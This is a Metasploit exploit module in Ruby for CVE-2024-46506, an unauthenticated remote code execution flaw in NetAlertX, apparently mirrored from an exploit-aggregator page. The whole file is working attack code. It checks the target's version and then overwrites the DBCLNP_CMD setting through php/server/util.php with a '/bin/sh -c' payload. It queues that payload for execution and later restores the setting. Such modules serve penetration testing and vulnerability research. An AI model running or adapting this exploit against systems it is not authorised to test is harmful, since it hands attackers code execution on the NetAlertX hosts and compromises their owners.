Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-LINUX-HTTP-NETALERTX_RCE_CVE_2024_46506-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Retry
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Unauthenticated RCE in NetAlertX',
'Description' => %q{
An attacker can update NetAlertX settings with no authentication, which results in RCE.
},
'Author' => [
'Chebuya (Rhino Security Labs)', # Vulnerability discovery and PoC
'Takahiro Yokoyama' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2024-46506'],
['URL', 'https://rhinosecuritylabs.com/research/cve-2024-46506-rce-in-netalertx/'],
# ['URL', 'https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2024-46506'], Not published (yet?)
],
'DefaultOptions' => {
'FETCH_DELETE' => true,
'WfsDelay' => 150
},
'Platform' => %w[linux],
'Targets' => [
[
'Linux Command', {
'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd
}
],
],
'DefaultTarget' => 0,
'Payload' => {
'BadChars' => ' \'\\'
},
'DisclosureDate' => '2025-01-30',
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ CONFIG_CHANGES, ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION, ]
}
)
)
register_options(
[
Opt::RPORT(20211),
OptInt.new('WAIT', [ true, 'Wait time (seconds) for the payload to be set', 75 ]),
OptBool.new('CLEANUP', [false, 'Restore DBCLNP_CMD to original value after execution', true])
]
)
register_advanced_options(
[
OptString.new('Base64Decoder', [true, 'The binary to use for base64 decoding', 'base64-short', %w[base64-short] ])
]
)
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'maintenance.php')
})
return Exploit::CheckCode::Unknown unless res&.code == 200
html_document = res&.get_html_document
return Exploit::CheckCode::Unknown('Failed to get html document.') if html_document.blank?
version_element = html_document.xpath('//div[text()="Installed version"]//following-sibling::*')
return Exploit::CheckCode::Unknown('Failed to get version element.') if version_element.blank?
version = Rex::Version.new(version_element.text&.strip&.sub(/^v/, ''))
return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('23.01.14'), Rex::Version.new('24.9.12'))
Exploit::CheckCode::Appears("Version #{version} detected.")
end
def exploit
# Command is split by space character, and executed by the following Python code:
# subprocess.check_output(command, universal_newlines=True, stderr=subprocess.STDOUT, timeout=(set_RUN_TIMEOUT))
# https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/server/plugin.py#L206
# https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/server/plugin.py#L214
cmd = "/bin/sh -c #{payload.encode}"
update_settings(cmd, '*')
# Not updated immediately
print_status('Waiting for the settings to be properly updated...')
retry_until_truthy(timeout: datastore['WAIT']) do
check_settings(cmd)
end
add_to_execution_queue('run|DBCLNP')
add_to_execution_queue('cron_restart_backend')
print_status('Added the payload to the queue. Waiting for the payload to run...')
end
def update_settings(cmd, sche)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'php/server/util.php'),
'vars_post' => {
'function' => 'savesettings',
'settings' => [
['DBCLNP', 'DBCLNP_RUN', 'string', 'schedule'],
['DBCLNP', 'DBCLNP_CMD', 'string', cmd],
['DBCLNP', 'DBCLNP_RUN_SCHD', 'string', "#{sche} * * * *"],
].to_json
}
})
fail_with(Failure::Unknown, 'Failed to update settings.') unless res&.code == 200
print_status("Sent request to update DBCLNP_CMD to '#{cmd}'.")
end
def add_to_execution_queue(cmd)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'php/server/util.php'),
'vars_post' => {
'function' => 'addToExecutionQueue',
'action' => "#{SecureRandom.uuid}|#{cmd}"
}
})
fail_with(Failure::Unknown, 'Failed to add the payload to the queue.') unless res&.code == 200
end
def check_settings(cmd)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api/table_settings.json')
})
return unless res&.code == 200
res.get_json_document['data']&.detect { |row| row['Code_Name'] == 'DBCLNP_CMD' && row['Value'] == cmd }
end
def cleanup
super
if datastore['CLEANUP']
# Default settings, isn't usually changed.
# https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/front/plugins/db_cleanup/config.json#L92
update_settings(
'python3 /app/front/plugins/db_cleanup/script.py pluginskeephistory={pluginskeephistory} hourstokeepnewdevice={hourstokeepnewdevice} daystokeepevents={daystokeepevents} pholuskeepdays={pholuskeepdays}',
'*/30'
)
end
end
end